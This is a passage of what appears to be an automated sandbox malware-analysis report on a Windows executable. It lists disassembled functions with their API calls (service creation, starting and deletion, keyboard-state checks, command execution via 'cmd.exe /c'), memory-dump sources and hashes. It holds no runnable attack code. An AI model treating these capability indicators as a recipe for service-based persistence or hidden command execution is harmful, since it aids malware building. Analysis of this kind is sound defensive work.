Sleep.KERNEL32(00000001,?,?,?,?,?,?,00000001,00000001), ref: 00406D60
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000001,00000001), ref: 00406D99
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,00000001,00000001), ref: 00406DC5

Strings

command.com /c , xrefs: 0040676B
cmd.exe /c , xrefs: 00406775

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreatePipeProcess$ByteCharCodeExitFileIdleInputMultiNamedPeekReadSleepWaitWidestrlen
String ID: cmd.exe /c $command.com /c
API String ID: 3562253524-3067575191
Opcode ID: 37767ced44fadf8204c655c15740ea9d0e718586a21f0efb6d9fa701c99dbe11
Instruction ID: bdaa95ab8f5c98b0a5e33a7d8d8f18d2cfb93eff62db92fcf00e9a1c281e6b6c
Opcode Fuzzy Hash: 37767ced44fadf8204c655c15740ea9d0e718586a21f0efb6d9fa701c99dbe11
Instruction Fuzzy Hash: 9D5208B1E41205ABEF00DFA5ECC1B9DBBB5AF18314F140436E905BB381E779A960CB65

Function 0041F2E0 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(COMCTL32.DLL,00000800,00000000,00000400,0041F5DA,?,00020000), ref: 0041F2E9
LoadLibraryA.KERNEL32(COMCTL32.DLL), ref: 0041F2F2
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 0041F306
74B6E3D0.COMCTL32 ref: 0041F321
74B6E3D0.COMCTL32 ref: 0041F33D
FreeLibrary.KERNEL32(00000000), ref: 0041F349

Strings

InitCommonControlsEx, xrefs: 0041F2FE
COMCTL32.DLL, xrefs: 0041F2E2, 0041F2E8, 0041F2EF

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeHandleLoadModuleProc
String ID: COMCTL32.DLL$InitCommonControlsEx
API String ID: 1437655972-4218389149
Opcode ID: 14b06eeef9ebb9a20d5f1a14c32a04a72243de047ce4ac8103030e185d024592
Instruction ID: d2250c8ccee7111f7e5575159ea8d0ecbbade2c4ad434fde5330d4a9b107e7f7
Opcode Fuzzy Hash: 14b06eeef9ebb9a20d5f1a14c32a04a72243de047ce4ac8103030e185d024592
Instruction Fuzzy Hash: FBF0FF323002169B9322EFB4EC489ABB6B8ABC07123450436FA11E3200DB2CCD4B876D

Function 0040AED8 Relevance: 9.1, APIs: 6, Instructions: 127servicememoryCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040AF43
EnumServicesStatusA.ADVAPI32(00000000,00000030,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040AF99
GlobalAlloc.KERNEL32(00000040,00000000), ref: 0040AFCA
EnumServicesStatusA.ADVAPI32(00000000,00000030,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040B012
GlobalFree.KERNEL32(00000000), ref: 0040B041
CloseServiceHandle.ADVAPI32(00000000), ref: 0040B06D

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: EnumGlobalServicesStatus$AllocCloseFreeHandleManagerOpenService
String ID:
API String ID: 2081471158-0
Opcode ID: 631763bcde072e99f35d949b499641e17c040fa03b205f48626426f06e3dc439
Instruction ID: b90fdd2cb8b8e39f025648f468b252a9570ff732322a9dd739653f647e2cf22f
Opcode Fuzzy Hash: 631763bcde072e99f35d949b499641e17c040fa03b205f48626426f06e3dc439
Instruction Fuzzy Hash: CC413A71E4430ABBDB119FA1DC4ABAEBB74EB05701F004426F614BA1D0E37A5725CF9A

Function 0041F357 Relevance: 9.0, Strings: 7, Instructions: 226COMMON

Download Yara Rule

Strings

AfxMDIFrame42s, xrefs: 0041F428
AfxOleControl42s, xrefs: 0041F3E0
AfxControlBar42s, xrefs: 0041F400
AfxFrameOrView42s, xrefs: 0041F44D
AfxWnd42s, xrefs: 0041F3BF
@, xrefs: 0041F48F
@, xrefs: 0041F528

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID:
String ID: @$@$AfxControlBar42s$AfxFrameOrView42s$AfxMDIFrame42s$AfxOleControl42s$AfxWnd42s
API String ID: 0-2431135857
Opcode ID: 7edbb3467703ae72ee5311352efaf0061ccd0f75a9a4b217e63a0600f0367302
Instruction ID: c9eea7e45978ba7d0cb221cb4bf5ba2cb79823c340190dec650a9d2b4bda65ff
Opcode Fuzzy Hash: 7edbb3467703ae72ee5311352efaf0061ccd0f75a9a4b217e63a0600f0367302
Instruction Fuzzy Hash: 2B812375D002196ADB50DFA5C585BDEBFF8AF04344F20817AF908E7281D77C9A8AC798

Function 004082E1 Relevance: 7.6, APIs: 5, Instructions: 102serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00408313
OpenServiceA.ADVAPI32(00000000,00000000,?), ref: 0040838D
DeleteService.ADVAPI32(00000000), ref: 004083C6
CloseServiceHandle.ADVAPI32(00000000), ref: 004083F5
CloseServiceHandle.ADVAPI32(00000000), ref: 00408421

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$DeleteManager
String ID:
API String ID: 204194956-0
Opcode ID: 0471a5cb8dade3df6f787112c7ecbfcc91819c176adadc2081f060e764fdb601
Instruction ID: bc8b752138ff3f5e1f1ffd90cb4f6abbf32a0cc60a3211f759f544d2b5a7e1f9
Opcode Fuzzy Hash: 0471a5cb8dade3df6f787112c7ecbfcc91819c176adadc2081f060e764fdb601
Instruction Fuzzy Hash: 83314070E41308FBDB209FA19D47BAEBA70AB19705F104439F6047E1C0E7BA5754DB9A

Function 00408453 Relevance: 7.6, APIs: 5, Instructions: 90serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00408485
OpenServiceA.ADVAPI32(00000000,00000000,00000010), ref: 004084C8
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 0040850B
CloseServiceHandle.ADVAPI32(00000000), ref: 0040853A
CloseServiceHandle.ADVAPI32(00000000), ref: 00408566

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$ManagerStart
String ID:
API String ID: 1485051382-0
Opcode ID: bd580266e1415841dc4e51c754274a91b896ca700550e2ce51d22df0a578fd0d
Instruction ID: 2decae2e4a835bbdc66abcde14df5b25df449bc0c5f2dfa984803f6bd9aa46ed
Opcode Fuzzy Hash: bd580266e1415841dc4e51c754274a91b896ca700550e2ce51d22df0a578fd0d
Instruction Fuzzy Hash: 95312F70E40308FBDB209FA19D47BAEBB70BB15711F00482AF6547E1D0E7BA5650DB9A

Function 004080E0 Relevance: 6.1, APIs: 4, Instructions: 144serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00408153
CreateServiceA.ADVAPI32(00000000,?,?,000F01FF,?,?,00000001,?,?,00000000,?,?,?), ref: 00408218
CloseServiceHandle.ADVAPI32(00000000), ref: 0040827A
CloseServiceHandle.ADVAPI32(00000000), ref: 004082A6

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$CreateManagerOpen
String ID:
API String ID: 2424488607-0
Opcode ID: 2fcfa30d17aa02ecc848a8d17616deec1749be713d7a058b3e186aa9013059b4
Instruction ID: 8b7a2e51127b35289c2fe84538e480259a7ef545fa51ed10c004d3525492c70a
Opcode Fuzzy Hash: 2fcfa30d17aa02ecc848a8d17616deec1749be713d7a058b3e186aa9013059b4
Instruction Fuzzy Hash: E9511A75A00308FBDF119FA1CD86B9D7B71AF09700F044069FA447A2D1E7B9AA50DB5A

Function 0041EEE1 Relevance: 6.0, APIs: 4, Instructions: 38keyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0041CEC2: GetWindowLongA.USER32(?,000000F0), ref: 0041CECE

GetKeyState.USER32(00000010), ref: 0041EF05
GetKeyState.USER32(00000011), ref: 0041EF0E
GetKeyState.USER32(00000012), ref: 0041EF17
SendMessageA.USER32(?,00000111,0000E146,00000000), ref: 0041EF2D

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: State$LongMessageSendWindow
String ID:
API String ID: 1063413437-0
Opcode ID: 641fb727cd6d3e7ebc000ea2558aeed4d0f3a96888f4aaab5dc328e8d5c3f603
Instruction ID: 8ec8916983ba1d82628db7ebd898d7ef6776baf101ce31477a1cf986544c1a8b
Opcode Fuzzy Hash: 641fb727cd6d3e7ebc000ea2558aeed4d0f3a96888f4aaab5dc328e8d5c3f603
Instruction Fuzzy Hash: C8F0827A39138635F92036679D42FD982244B90BD5F40042BFF41AA1D189AD99C39278

Function 004124DE Relevance: 4.5, APIs: 3, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a43f530e7fb7fca0dbd74335f2736ef1d43a6b8457cd0d64394ea7326a1b8309
Instruction ID: cf0e3c20af07ee02db8ad8f0e453a3daaede9d5c7dfca583be1636c787c3dabd
Opcode Fuzzy Hash: a43f530e7fb7fca0dbd74335f2736ef1d43a6b8457cd0d64394ea7326a1b8309
Instruction Fuzzy Hash: 11F08C31200149BBCF019F70DE589EEBBBAAF04344B448022FC15D5030EBBCCBA6AB59

Function 0041C3A5 Relevance: 4.5, APIs: 3, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000010), ref: 0041C3CC
GetKeyState.USER32(00000011), ref: 0041C3D5
GetKeyState.USER32(00000012), ref: 0041C3DE

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: State
String ID:
API String ID: 1649606143-0
Opcode ID: 01504b866d7f058325b670e33acf390027d145bd7b94d4cda3a588de4b82331a
Instruction ID: b0277155986d6317031f56dad3db79161a6c21f3a4c21f66970d162cd8a8f9df
Opcode Fuzzy Hash: 01504b866d7f058325b670e33acf390027d145bd7b94d4cda3a588de4b82331a
Instruction Fuzzy Hash: D8E09B3578035DDEEA10A7408DD2FD56F905B10791F00C457FE56EB091C7A889C39769

Function 0041E26D Relevance: 3.4, APIs: 2, Instructions: 422COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041E272
GetVersion.KERNEL32(00000007,?,?,00000000,00000000,?,0000C000,00000000,00000000,00000007), ref: 0041E425

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: H_prologVersion
String ID:
API String ID: 1836448879-0
Opcode ID: 3a95c8e9c63fe3db3199f6c71ce4d157325181caebcecfd8cd451438c096ef71
Instruction ID: b7cb161cbe6ea719bb73160487ad24f82814a5b2b19b695c200a4cfdd550fcd1
Opcode Fuzzy Hash: 3a95c8e9c63fe3db3199f6c71ce4d157325181caebcecfd8cd451438c096ef71
Instruction Fuzzy Hash: 9FE19E74600219EBDB14DF66CC80AFE77A9EF04314F50851AFC1A9B281D77CEA81DB69

Function 0041DD5B Relevance: 3.0, APIs: 2, Instructions: 27nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.NTDLL(?,?,?,?), ref: 0041DD82
CallWindowProcA.USER32(?,?,?,?,?), ref: 0041DD97

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Window$CallNtdllProcProc_
String ID:
API String ID: 1646280189-0
Opcode ID: 66278181388f3091afa5bfaa6023551ff6f8017b4009f398e8f1072382a92bb4
Instruction ID: 2fc2a3ffb5ddd08f1c030b6ef951bcd4afc3c8c3415358309fc6e207baba5746
Opcode Fuzzy Hash: 66278181388f3091afa5bfaa6023551ff6f8017b4009f398e8f1072382a92bb4
Instruction Fuzzy Hash: 34F0AC36600204EFCF229F95EC04DDA7BB9FF18351B048569F94586120D736D965AF54

Function 00433717 Relevance: 1.8, APIs: 1, Instructions: 326COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00433966

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: _clrfp
String ID:
API String ID: 3618594692-0
Opcode ID: 2bace4fb35ac0a39d3f3de369d2b4be7de680276a5f4abfa4c18b16a60f42933
Instruction ID: 7adfbf3c95d36d881749b304093f38f5a251a7ecedcc565861fb7e99cd23b744
Opcode Fuzzy Hash: 2bace4fb35ac0a39d3f3de369d2b4be7de680276a5f4abfa4c18b16a60f42933
Instruction Fuzzy Hash: 7BB17970610A4DCFDB98DF1CC88AB6677E0FF49305F18959AE85ACB261C339E852CB05

Function 0041D56E Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fb6337bce6e80f7e070773caadd2bad53fba850b1bec3927e867347b94fed37
Instruction ID: bd12c3a05a248ed71faf37c25666bbef2a32b88c35576f312d361433108e4166
Opcode Fuzzy Hash: 2fb6337bce6e80f7e070773caadd2bad53fba850b1bec3927e867347b94fed37
Instruction Fuzzy Hash: 1EF01CB2901129FBCF229E819D00AEF3B2AAF04368F008416FA1855151C739D6A1EBA9

Function 00418C6E Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00018C28), ref: 00418C73

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 05c509e95ab23a13642a6063689d973b396c2a7068293188e1a9ca5a4e6613a9
Instruction ID: 3ab418dddbfa138d965538fb9a84c3d65f71b1e8bda48aef8e40682d1b3f9e43
Opcode Fuzzy Hash: 05c509e95ab23a13642a6063689d973b396c2a7068293188e1a9ca5a4e6613a9
Instruction Fuzzy Hash: 25A011B0A22200CA82000F20A8080003B30FA80A0B32000AAA808802A0EB3800808AAC

Function 00418C80 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00418C85

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: ec958721a8eaf610aa57fc53214021112b0830091c5bfab4bd12c019ea2e5069
Instruction ID: 876c4fb5c4d37a11c5b92af46c06380d50952c407f7ab7906ea5455605cfa64c
Opcode Fuzzy Hash: ec958721a8eaf610aa57fc53214021112b0830091c5bfab4bd12c019ea2e5069
Instruction Fuzzy Hash:

Function 004313B7 Relevance: .5, Instructions: 526COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58125be1a9066b8e3fe2118b1d67ad95ce287b0d75bd63253dfb092ba15f2871
Instruction ID: 37afb4fad920651a4fb56000282fb2323aa7294121ca8de59cfe02e71e1a82a7
Opcode Fuzzy Hash: 58125be1a9066b8e3fe2118b1d67ad95ce287b0d75bd63253dfb092ba15f2871
Instruction Fuzzy Hash: D7F10230A18A4C8FC719EFA8C4845EAB7F5FBA9314F14126FD48BC7262DA34D906C785

Function 00453111 Relevance: .3, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baf9ffabccb5c2f00103815f1b663145b0a53ca0d1808a03094f98c6e100de23
Instruction ID: bd8630c7b7a4ad8786a75fbd9b73884978f4f4f0af4c21242eec13d9756576a4
Opcode Fuzzy Hash: baf9ffabccb5c2f00103815f1b663145b0a53ca0d1808a03094f98c6e100de23
